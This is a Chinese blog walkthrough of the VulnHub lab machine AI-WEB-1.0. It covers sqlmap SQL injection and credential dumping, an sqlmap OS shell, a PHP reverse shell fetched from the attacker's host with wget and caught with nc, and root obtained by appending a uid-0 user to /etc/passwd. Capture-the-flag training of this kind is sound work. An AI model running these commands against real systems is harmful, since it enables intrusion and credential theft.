AI-WEB-1.0靶机教程

已于 2022-04-07 19:18:39 修改
阅读量6.1k 收藏 10
点赞数 2
分类专栏： 靶机 文章标签： 网络安全
于 2022-04-06 14:14:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42553928/article/details/123988652
版权

文章目录

靶机概况

下载地址

https://www.vulnhub.com/entry/ai-web-1,353/

靶机描述

Description

Difficulty: Intermediate

Network: DHCP (Automatically assign)

Network Mode: NAT

This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
难度：中级

网络：DHCP（自动分配）

网络模式：NAT

这个盒子是为了测试渗透测试员的技能而设计的。目标很简单。从 /root/flag.txt 获取标志。枚举该框，获取低权限 shell，然后将权限提升到 root。对于任何提示，请在@arif_xpress 上发推文

靶机信息

靶机界面

在这里插入图片描述

网卡信息

网卡信息说明
网卡模式NAT
MAC 地址00:0C:29:93:FE:B3

信息收集

主机发现

root💀kali)-[~/Desktop]
└─# arp-scan -I eth0 192.168.50.0/24 >web1.ip
                                                                                                                                               
┌──(root💀kali)-[~/Desktop]
└─# cat web1.ip | grep -i "00:0C:29:93:FE:B3"
192.168.50.128  00:0c:29:93:fe:b3       VMware, Inc.

端口扫描

命令过程

(root💀kali)-[~/Desktop]
└─# nmap -A -p- 192.168.50.128 -oN nmap.A
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-03 13:41 EDT
Nmap scan report for bogon (192.168.50.128)
Host is up (0.00082s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
| http-robots.txt: 2 disallowed entries 
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0
MAC Address: 00:0C:29:93:FE:B3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.82 ms bogon (192.168.50.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds

端口详情

PORTSTATESERVICEVERSION
80/tcpopenhttpApache httpd

网站信息

网站首页

在这里插入图片描述

目录爆破

(root💀kali)-[~/Desktop]
└─# dirb http://192.168.50.128              

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Apr  5 19:51:38 2022
URL_BASE: http://192.168.50.128/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.50.128/ ----
+ http://192.168.50.128/index.html (CODE:200|SIZE:141)                                   
+ http://192.168.50.128/robots.txt (CODE:200|SIZE:82)                                    
+ http://192.168.50.128/server-status (CODE:403|SIZE:222)                                
                                                                                         
-----------------
END_TIME: Tue Apr  5 19:51:43 2022
DOWNLOADED: 4612 - FOUND: 3

发现三个网页

http://192.168.50.128/index.html                                    
http://192.168.50.128/robots.txt                                    
http://192.168.50.128/server-status

访问一下

http://192.168.50.128/index.html

在这里插入图片描述

http://192.168.50.128/robots.txt

在这里插入图片描述

http://192.168.50.128/m3diNf0/
http://192.168.50.128/se3reTdir777/uploads/

http://192.168.50.128/server-status

在这里插入图片描述

http://192.168.50.128/m3diNf0/

在这里插入图片描述

http://192.168.50.128/se3reTdir777/uploads/

在这里插入图片描述

se3reTdir777 目录

http://192.168.50.128/se3reTdir777/

在这里插入图片描述

敏感目录扫描

m3diNf0目录

(root💀kali)-[~/Desktop]
└─# dirb http://192.168.50.128/m3diNf0/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Apr  3 14:40:01 2022
URL_BASE: http://192.168.50.128/m3diNf0/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.50.128/m3diNf0/ ----
+ http://192.168.50.128/m3diNf0/info.php (CODE:200|SIZE:84266)                                                                                              
                                                                                                                                                            
-----------------
END_TIME: Sun Apr  3 14:40:05 2022
DOWNLOADED: 4612 - FOUND: 1

info.php页面

http://192.168.50.128/m3diNf0/info.php

在这里插入图片描述

User/Group 	www-data(33)/33 

Server Root 	/etc/apache2 

DOCUMENT_ROOT 	/home/www/html/web1x443290o2sdf92213 

CONTEXT_DOCUMENT_ROOT 	/home/www/html/web1x443290o2sdf92213

se3reTdir777目录

http://192.168.50.128/se3reTdir777/

root💀kali)-[~/Desktop]
└─# dirb http://192.168.50.128/se3reTdir777/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Apr  3 14:46:09 2022
URL_BASE: http://192.168.50.128/se3reTdir777/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.50.128/se3reTdir777/ ----
+ http://192.168.50.128/se3reTdir777/index.php (CODE:200|SIZE:1228)                                                                                         
==> DIRECTORY: http://192.168.50.128/se3reTdir777/uploads/                                                                                                  
                                                                                                                                                            
---- Entering directory: http://192.168.50.128/se3reTdir777/uploads/ ----
                                                                                                                                                            
-----------------
END_TIME: Sun Apr  3 14:46:19 2022
DOWNLOADED: 9224 - FOUND: 1

http://192.168.50.128/se3reTdir777/index.php

在这里插入图片描述

漏洞映射

SQLI

(root💀kali)-[~]
└─# sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit"
        ___
       __H__                                                                                  
 ___ ___[(]_____ ___ ___  {1.5.6#stable}                                                      
|_ -| . [']     | .'| . |                                                                     
|___|_  [.]_|_|_|__,|  _|                                                                     
      |_|V...       |_|   http://sqlmap.org                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:01:07 /2022-04-05/

[15:01:08] [INFO] resuming back-end DBMS 'mysql' 
[15:01:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: uid=1' AND EXTRACTVALUE(3611,CONCAT(0x5c,0x71707a7671,(SELECT (ELT(3611=3611,1))),0x716b7a7071)) AND 'vRtd'='vRtd&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 4991 FROM (SELECT(SLEEP(5)))lASY) AND 'rpte'='rpte&Operation=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71707a7671,0x635570486f4450564d59484a7977534d4566766454627355655277737a626b534d7a434d59786864,0x716b7a7071)-- -&Operation=Submit
---
[15:01:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[15:01:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.128'                                                                                 
[15:01:08] [WARNING] your sqlmap version is outdated

[*] ending @ 15:01:08 /2022-04-05/

渗透过程

SQLI漏洞利用

查询数据

参数
–current-db
-D “aiweb1” --tabales
-D “aiweb” --dump
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.5#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:04:01 /2022-04-05/

[08:04:01] [INFO] resuming back-end DBMS 'mysql' 
[08:04:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 3245=3245#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x716b707a71,(SELECT (ELT(4512=4512,1))),0x7170717871),4512)-- CEun&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 3172 FROM (SELECT(SLEEP(5)))uyYv)-- EcBM&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707a71,0x73614d58526d67785061444d7a7a5976564e507345426f5842416b4e744161716477465162564856,0x7170717871)#&Operation=Submit
---
[08:04:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[08:04:02] [INFO] fetching current database
current database: 'aiweb1'
[08:04:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.128'                                                           
[08:04:02] [WARNING] your sqlmap version is outdated

[*] ending @ 08:04:02 /2022-04-05/



                                                                                
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
        ___
       __H__                                                                       
 ___ ___[(]_____ ___ ___  {1.5.5#stable}                                           
|_ -| . [.]     | .'| . |                                                          
|___|_  [.]_|_|_|__,|  _|                                                          
      |_|V...       |_|   http://sqlmap.org                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:05:18 /2022-04-05/

[08:05:18] [INFO] resuming back-end DBMS 'mysql' 
[08:05:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 3245=3245#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x716b707a71,(SELECT (ELT(4512=4512,1))),0x7170717871),4512)-- CEun&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 3172 FROM (SELECT(SLEEP(5)))uyYv)-- EcBM&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707a71,0x73614d58526d67785061444d7a7a5976564e507345426f5842416b4e744161716477465162564856,0x7170717871)#&Operation=Submit
---
[08:05:18] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[08:05:18] [INFO] fetching tables for database: 'aiweb1'
Database: aiweb1
[2 tables]
+------------+
| user       |
| systemUser |
+------------+

[08:05:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.128'                                                           
[08:05:18] [WARNING] your sqlmap version is outdated

[*] ending @ 08:05:18 /2022-04-05/


(root💀kali)-[~]
└─# sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.5#stable}                                                                                                                                
|_ -| . [(]     | .'| . |                                                                                                                                               
|___|_  ["]_|_|_|__,|  _|                                                                                                                                               
      |_|V...       |_|   http://sqlmap.org                                                                                                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:07:46 /2022-04-05/

[08:07:47] [INFO] resuming back-end DBMS 'mysql' 
[08:07:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 3245=3245#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x716b707a71,(SELECT (ELT(4512=4512,1))),0x7170717871),4512)-- CEun&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 3172 FROM (SELECT(SLEEP(5)))uyYv)-- EcBM&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707a71,0x73614d58526d67785061444d7a7a5976564e507345426f5842416b4e744161716477465162564856,0x7170717871)#&Operation=Submit
---
[08:07:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[08:07:47] [INFO] fetching columns for table 'user' in database 'aiweb1'
[08:07:47] [INFO] fetching entries for table 'user' in database 'aiweb1'
Database: aiweb1
Table: user
[3 entries]
+----+----------+-----------+
| id | lastName | firstName |
+----+----------+-----------+
| 1  | admin    | admin     |
| 2  | root     | root      |
| 3  | mysql    | mysql     |
+----+----------+-----------+

[08:07:47] [INFO] table 'aiweb1.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.50.128/dump/aiweb1/user.csv'
[08:07:47] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.128'
[08:07:47] [WARNING] your sqlmap version is outdated

[*] ending @ 08:07:47 /2022-04-05/


─(root💀kali)-[~]
└─# sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump
        ___
       __H__                                                                                                                                                            
 ___ ___[(]_____ ___ ___  {1.5.5#stable}                                                                                                                                
|_ -| . [.]     | .'| . |                                                                                                                                               
|___|_  [(]_|_|_|__,|  _|                                                                                                                                               
      |_|V...       |_|   http://sqlmap.org                                                                                                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:11:29 /2022-04-05/

[08:11:29] [INFO] resuming back-end DBMS 'mysql' 
[08:11:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 3245=3245#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x716b707a71,(SELECT (ELT(4512=4512,1))),0x7170717871),4512)-- CEun&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 3172 FROM (SELECT(SLEEP(5)))uyYv)-- EcBM&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707a71,0x73614d58526d67785061444d7a7a5976564e507345426f5842416b4e744161716477465162564856,0x7170717871)#&Operation=Submit
---
[08:11:29] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[08:11:29] [INFO] fetching columns for table 'systemUser' in database 'aiweb1'
[08:11:29] [INFO] fetching entries for table 'systemUser' in database 'aiweb1'
[08:11:29] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: aiweb1
Table: systemUser
[3 entries]
+----+----------------------------------------------+-----------+
| id | password                                     | userName  |
+----+----------------------------------------------+-----------+
| 1  | RmFrZVVzZXJQYXNzdzByZA==                     | t00r      |
| 2  | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
| 3  | TjB0VGhpczBuZUFsczA=                         | u3er      |
+----+----------------------------------------------+-----------+

[08:11:33] [INFO] table 'aiweb1.systemUser' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.50.128/dump/aiweb1/systemUser.csv'
[08:11:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.128'
[08:11:33] [WARNING] your sqlmap version is outdated

[*] ending @ 08:11:33 /2022-04-05/

msfconsle

msf6 > sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
[*] exec: sqlmap -u "http://192.168.50.128/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

        ___
       __H__                                                                       
 ___ ___[(]_____ ___ ___  {1.5.5#stable}                                           
|_ -| . [)]     | .'| . |                                                          
|___|_  [(]_|_|_|__,|  _|                                                          
      |_|V...       |_|   http://sqlmap.org                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:47:34 /2022-04-05/

[07:47:35] [INFO] resuming back-end DBMS 'mysql' 
[07:47:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 3245=3245#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x716b707a71,(SELECT (ELT(4512=4512,1))),0x7170717871),4512)-- CEun&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 3172 FROM (SELECT(SLEEP(5)))uyYv)-- EcBM&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707a71,0x73614d58526d67785061444d7a7a5976564e507345426f5842416b4e744161716477465162564856,0x7170717871)#&Operation=Submit
---
[07:47:35] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[07:47:35] [INFO] going to use a web backdoor for command prompt
[07:47:35] [INFO] fingerprinting the back-end DBMS operating system
[07:47:35] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[07:47:54] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
[07:55:23] [WARNING] unable to automatically parse any web server path
[07:55:24] [INFO] trying to upload the file stager on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' via LIMIT 'LINES TERMINATED BY' method             
[07:55:24] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[07:55:24] [INFO] the file stager has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.50.128:80/se3reTdir777/uploads/tmpunxnh.php
[07:55:24] [INFO] the backdoor has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.50.128:80/se3reTdir777/uploads/tmpboona.php
[07:55:24] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

查看我是谁

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

创建一个名为webshell.php的文件

┌──(root💀kali)-[~/Desktop]
└─# cat webshell.php                         
<?php
$sock=fsockopen("192.168.50.129",8888);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

使用python搭建一个简易的服务器

python2内置了一个简单的HTTP服务器，只需要在命令行下面敲一行命令，一个HTTP服务器就搭建起来了

python -m SimpleHTTPServer 9966
#9966为端口号，可自己指定

python3 python2中的SimpleHTTPServer模块已合并到Python 3中，当将源转换为Python 3的http.server

python -m http.server 9966
#9966为端口号，可自己指定

我这里python版本为2.7.18，所以使用python2的方法搭建

#注意：这里的服务器搭建好后访问网页的根目录为你现在的路径，例如我这里就是 /Desktop

┌──(root💀kali)-[~/Desktop]
└─# python -m SimpleHTTPServer 9966
Serving HTTP on 0.0.0.0 port 9966 ...

此时简易服务器已搭建完成，接下来打开网页，访问本机，查看搭建是否成功

在这里插入图片描述

搭建成功，我们刚刚创建的文件已经可以下载

下载文件到靶机

回到我们控制目标shell的窗口，下载文件

http://192.168.50.129:9966/webshell.php

os-shell> wget -S http://192.168.50.129:9966/webshell.php
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
--2022-04-05 15:50:12--  http://192.168.50.129:9966/webshell.php
Connecting to 192.168.50.129:9966... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: SimpleHTTP/0.6 Python/2.7.18
  Date: Tue, 05 Apr 2022 23:10:37 GMT
  Content-type: application/octet-stream
  Content-Length: 82
  Last-Modified: Tue, 05 Apr 2022 22:38:11 GMT
Length: 82 [application/octet-stream]
Saving to: 'webshell.php'

     0K                                                       100% 9.22M=0s

2022-04-05 15:50:12 (9.22 MB/s) - 'webshell.php' saved [82/82]

---

有时候可能会出现异常，多试几次就可以了。

再打开一个终端，对8888端口进行监听

(root💀kali)-[~/Desktop]
└─# nc -lvp 8888                                                                                                                                                  126 ⨯
listening on [any] 8888 ...

运行上传的文件

os-shell> php webshell.php
do you want to retrieve the command standard output? [Y/n/a] y

提权

先使用python转换成交互式shell，这样看着更舒服

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$

发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

我们尝试添加一个用户登录，因为写入的时候密码是加密的，所以要先加密密码：

openssl passwd -1 -salt web1 123456   //用openssl生成用户，用户名为web1 ，密码为 123456
$1$web1$ZrYgDZgZpLlsnVlxUaZwh/   //生成后/etc/passwd储存用户格式的文件

然后再来写入密码，切换刚创建的用户

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ openssl passwd -1 -salt web1 123456
<dir777/uploads$ openssl passwd -1 -salt web1 123456                       
$1$web1$ZrYgDZgZpLlsnVlxUaZwh/
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd
<gZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd                       
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su web1
<web1x443290o2sdf92213/se3reTdir777/uploads$ su web1                       
Password: 123456

查看权限，已经是root权限，并且成功拿取到flag

root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# id
id
uid=0(root) gid=0(root) groups=0(root)
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# ls
ls
shell.php  tmpbgvue.php  tmpuopff.php  webshell.php
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd /root
<eb1x443290o2sdf92213/se3reTdir777/uploads# cd /root                   
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# cat flag.txt
cat flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################
nhlzdmw
关注
  • 2
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
E004-渗透测试常用工具-使用MSF实现Web传递获取靶机权限.pdf
12-02
E004-渗透测试常用工具-使用MSF实现Web传递获取靶机权限
DC-4-Web渗透测试靶机
01-19
DC-4
AI-WEB-1.0简单攻略
在Web和Reverse坑里游泳中。。。。
07-17 2376
AI-WEB-1.0靶机的简单攻略
DVWA（Web 渗透的靶机环境）+csrf漏洞练习
net的博客
03-16 2329
用来进行安全脆弱性鉴定的PHP/MySQL Web 应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。十个攻击模块，分别是：1、Brute Force（暴力（破解））、2、Command Injection（命令行注入）、3、CSRF（跨站请求伪造）、4、- File Inclusion（文件包含）、5、File Upload（文件上传）、6、Insecure CAPTCHA （不安全的验证码）、
AI时代的Web开发：让Web开发更轻松
最新发布
2301_81940605的博客
02-25 1224
人工智能（AI）具有改变我们生活的潜力，因为它可以接管那些单调、乏味的任务，这些工作通常会占用我们宝贵的时间和精力。
AI重新定义web及谷歌验证码安全
热门推荐
01-30 9万+
云给安全带来的影响 距离2006年Amazon发布EC2服务已经过去了11年，在这11年里，发生的不仅仅是AWS收入从几十万美金上涨到100多亿美金，更重要的是云计算已经走进每一家企业。根据信通院发布的“2016云计算白皮书”，目前近90%的企业都已经开始使用云计算（包括公有云、私有云等），这说明大规模云化对于企业而言已经不只是趋势，更是确凿的既成事实。 云化普及的同时也给安全带来很多挑战，主要包括： 云化导致以硬件设备为主的传统安全方式失效。我在跟企业交流时，不止一家企业提出了这样的担心：在上公有云的过程
AI-WEB-1.0
底层社会中的弱智
08-03 594
总结： 报错注入常见的十种，本次用的是updatexml 获取os-sh的条件，具有可写权限的绝对路径需要自己拼接 使用openssl passwd -1 salt xxx xxx构造hash 目标主机为192.168.49.158 攻击kali机为192.168.49.129 前期的信息收集，端口服务，目录扫描，web框架等 端口服务： 只开放80端口且存在两个目录 访问web页面，使用nikto和dirb针对主机和目录进行探测： 主页和前端源码没有提供信息 查看下目录
AI-WEB-1.0超详细多方法教程
qq_61988806的博客
10-19 2545
AI-WEB-1.0 多方法渗透
AI WEB 1.0靶场渗透思路
weixin_69010236的博客
07-25 368
12.跑出了两个表的名称，但是表内没有我们想要的数据，因为我们目录扫描的时候，没有扫描出后台的登录页面，所以说获取到账号密码也是没有用的，我们可以想到之前我们获取到了一个phpinfo的页面，存在路径，我们就去尝试获取shell。3.我们可以看到扫出两个目录，我们去访问一下，第一个/index.html什么都没有，我们访问第二个/robots.txt，可以发现/robots.txt下面显示还有目录，我们接着去访问。7.我们发现是一个phpinfo的网页，但是我们可以获取到有用的信息，比如IP地址和路径。
vulnhub靶机AI-Web-1.0小白渗透学习笔记
qq_45885854的博客
06-12 272
vulnhub靶机AI-Web-1.0小白基础渗透学习，主要学习渗透思维，常见工具的使用sqlmap、dirb、python提权，修改用户名等
WebGoat-8.2.2版靶机学习总结
宇华的博客
03-26 3898
WebGoat
安装部署Web安全测试用的靶机
11-24
个人作业，希望有所帮助
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
vulnhub靶机实战-My-cmsms靶机
09-29
vulnhub靶机实战-My-cmsms靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
靶机合集-总结
m0_50627257的博客
09-17 823
一、漏洞利用、实战练习平台 1、WebGoat漏洞练习环境 https://github.com/WebGoat/WebGoat https://github.com/WebGoat/WebGoat-Legacy https://github.com/RandomStorm/DVWA 2、DoraBox,多拉盒 - 掌握常见漏洞攻防 https://github.com/gh0stkey/DoraBox 3、一个功能很全的CTF平台 https://github.com/zjlywjh001/PhrackC
AI如何帮助构建Web3？人工智能与去中心化的交叉点在哪？
Blockchain2022的博客
07-26 283
Web3中AI使用的挑战、风险和前景
实战项目之AIWEB2靶场渗透
胖虎的博客
11-05 1232
AIweb2靶场渗透测试
使用python-socket库实现对靶机的系统识别
06-03
使用Python的socket库可以实现对靶机的系统识别。具体实现步骤如下： 1. 导入socket库: ```python import socket ``` 2. 创建socket连接: ```python client_socket = socket.socket(socket.AF_INET, socket.SOCK...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
